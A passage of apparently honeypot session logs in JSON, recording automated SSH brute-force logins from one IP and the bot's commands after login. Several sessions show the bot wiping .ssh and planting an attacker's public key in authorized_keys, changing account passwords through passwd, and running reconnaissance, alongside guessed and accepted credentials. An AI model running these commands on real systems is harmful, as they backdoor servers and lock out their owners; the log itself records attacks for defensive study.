-l"},{"seq":15,"at":"2026-08-27T12:31:20.972023+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:31:21.630074+00:00","kind":"output","latency_ms":null,"data":" 12:31:21 up 7 days, 9:21, 0 user, load average: 0.21, 0.24, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:31:21.928851+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:31:22.749944+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:31:23.049709+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:31:23.573520+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:31:23.872892+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:31:24.380168+00:00","kind":"output","latency_ms":null,"data":"top - 12:31:24 up 7 days, 9:21, 0 user, load average: 0.21, 0.24, 0.19\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:31:24.679869+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:31:25.345651+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:31:25.645724+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:31:25.928202+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:31:26.227549+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:31:26.673198+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:31:26.971203+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:31:28.146248+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:31:28.446850+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:31:29.324182+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Passw0rd@2026","method":"password","accepted":true,"tier":"other"}]} {"id":"10a37ecf-3316-4422-9f82-db18baebbdb6","name":"subtle-boreal-mongoose","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":59106,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:13.315126+00:00","ended_at":"2026-08-27T12:31:15.126731+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ba46486c-8083-47c3-8136-655113c90e54","name":"gloomy-glassy-adder","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":59104,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:31:11.920788+00:00","ended_at":"2026-08-27T12:31:12.729343+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"2f2acf93-459d-4ad4-b3b2-a666f3f3f304","name":"dappled-wry-jerboa","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":35920,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":296,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:29:15.331459+00:00","ended_at":"2026-08-27T12:29:17.343007+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T12:28:58.039232+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:28:58.336043+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:29:01.135879+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:29:01.669831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:29:01.966031+00:00","kind":"input","latency_ms":null,"data":"echo -e \"test12345\\nyGethd9wIrEq\\nyGethd9wIrEq\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:29:02.262421+00:00","kind":"input","latency_ms":null,"data":"echo \"test12345\\nyGethd9wIrEq\\nyGethd9wIrEq\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:29:02.556338+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:29:03.374412+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:29:03.670106+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:29:04.543328+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:29:04.845248+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:29:05.703153+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:29:05.998554+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:29:06.609274+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:29:06.904405+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:29:07.767133+00:00","kind":"output","latency_ms":null,"data":" 12:29:07 up 7 days, 9:19, 0 user, load average: 0.25, 0.28, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:29:08.062711+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:29:08.914164+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:29:09.216274+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:29:09.577046+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:29:09.873321+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:29:10.720502+00:00","kind":"output","latency_ms":null,"data":"top - 12:29:10 up 7 days, 9:19, 0 user, load average: 0.25, 0.28, 0.17\nTasks: 115 total, 1 running, 114 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:29:11.017282+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:29:11.737100+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:29:12.033854+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:29:12.877150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:29:13.172829+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:29:13.676275+00:00","kind":"output","latency_ms":null,"data":"test"},{"seq":29,"at":"2026-08-27T12:29:13.972271+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:29:15.038173+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:29:15.332537+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:29:17.254875+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"test","password":"test12345","method":"password","accepted":true,"tier":"other"}]} {"id":"b386ba73-81c9-43ef-843b-c14566f34d7f","name":"thorny-muted-armadillo","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":35938,"username":"test","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:29:00.192414+00:00","ended_at":"2026-08-27T12:29:01.049726+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"test","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"60c10fb3-b5b8-4ad8-9fcb-1d5001ff4404","name":"gnarled-jaunty-dolphin","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":35932,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:28:59.002169+00:00","ended_at":"2026-08-27T12:28:59.614047+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"25d66104-34c2-4c5f-ade7-028a24f97cd8","name":"flinty-wistful-starling","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":37032,"username":"sklep","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":295,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:27:13.056486+00:00","ended_at":"2026-08-27T12:27:14.294599+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2248,"events":[{"seq":1,"at":"2026-08-27T12:26:54.052133+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:26:54.347633+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:26:57.889376+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:26:58.677257+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:26:58.973162+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sklep\\nBjtPATo8xS0U\\nBjtPATo8xS0U\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:26:59.269061+00:00","kind":"input","latency_ms":null,"data":"echo \"sklep\\nBjtPATo8xS0U\\nBjtPATo8xS0U\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:26:59.563492+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:27:00.127825+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:27:00.426021+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:27:01.305013+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:27:01.601756+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:27:02.859672+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:27:03.159084+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:27:04.060764+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:27:04.356657+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:27:05.136090+00:00","kind":"output","latency_ms":null,"data":" 12:27:05 up 7 days, 9:17, 0 user, load average: 0.2, 0.17, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:27:05.431946+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:27:06.229037+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:27:06.524628+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:27:06.822629+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:27:07.119443+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:27:07.846168+00:00","kind":"output","latency_ms":null,"data":"top - 12:27:07 up 7 days, 9:17, 0 user, load average: 0.2, 0.17, 0.22\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9532 free, 6355 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:27:08.143355+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:27:08.899574+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:27:09.196236+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:27:10.070437+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:27:10.365966+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:27:11.181643+00:00","kind":"output","latency_ms":null,"data":"sklep"},{"seq":29,"at":"2026-08-27T12:27:11.478779+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:27:12.757429+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:27:13.058328+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:27:14.207379+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sklep","password":"sklep","method":"password","accepted":true,"tier":"other"}]} {"id":"d3423258-f40a-42c6-bf9a-bd07fb05eb64","name":"dapper-fickle-antelope","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":49350,"username":"sklep","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:26:56.921523+00:00","ended_at":"2026-08-27T12:26:57.801895+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sklep","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f807a9dc-0371-4075-a8ef-0fd14b1e7c83","name":"jaunty-arctic-tanager","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":37044,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:26:55.031586+00:00","ended_at":"2026-08-27T12:26:56.342637+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a7273483-844f-4f55-8407-0aa02975a1e6","name":"cobalt-mellow-vulture","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":43194,"username":"danny","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:25:10.272603+00:00","ended_at":"2026-08-27T12:25:12.003698+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-27T12:24:51.704892+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:24:51.999099+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:24:56.142372+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:24:56.409179+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:24:56.706502+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\ntAldvmukbHVe\\ntAldvmukbHVe\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:24:57.001080+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\ntAldvmukbHVe\\ntAldvmukbHVe\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:24:57.296340+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:24:58.197285+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:24:58.493569+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:24:59.770153+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:25:00.068028+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:25:00.897744+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:25:01.196686+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:25:01.964453+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:25:02.261147+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:25:02.750342+00:00","kind":"output","latency_ms":null,"data":" 12:25:02 up 7 days, 9:15, 0 user, load average: 0.13, 0.16, 0.14\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:25:03.046030+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:25:03.761940+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:25:04.057766+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:25:04.577831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:25:04.878615+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:25:05.525960+00:00","kind":"output","latency_ms":null,"data":"top - 12:25:05 up 7 days, 9:15, 0 user, load average: 0.13, 0.16, 0.14\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:25:05.823441+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:25:06.685128+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:25:06.983145+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:25:07.396608+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:25:07.694375+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:25:08.228757+00:00","kind":"output","latency_ms":null,"data":"danny"},{"seq":29,"at":"2026-08-27T12:25:08.524988+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:25:09.976923+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:25:10.273413+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:25:11.916669+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"danny","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"c609e80c-f74a-45fa-b811-f4993efa53cf","name":"idle-grumpy-hedgehog","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":43210,"username":"danny","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:24:54.126131+00:00","ended_at":"2026-08-27T12:24:56.054262+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"danny","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f72e4528-4031-409e-a024-0a823793d484","name":"keen-zealous-lemur","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":43206,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:24:52.658340+00:00","ended_at":"2026-08-27T12:24:53.539746+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8fcd060c-c8c5-4546-8ad4-bc9b9ab897a3","name":"fierce-sterling-cuckoo","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52536,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:13.209762+00:00","ended_at":"2026-08-27T12:23:14.733002+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:22:54.412171+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:22:54.705468+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa 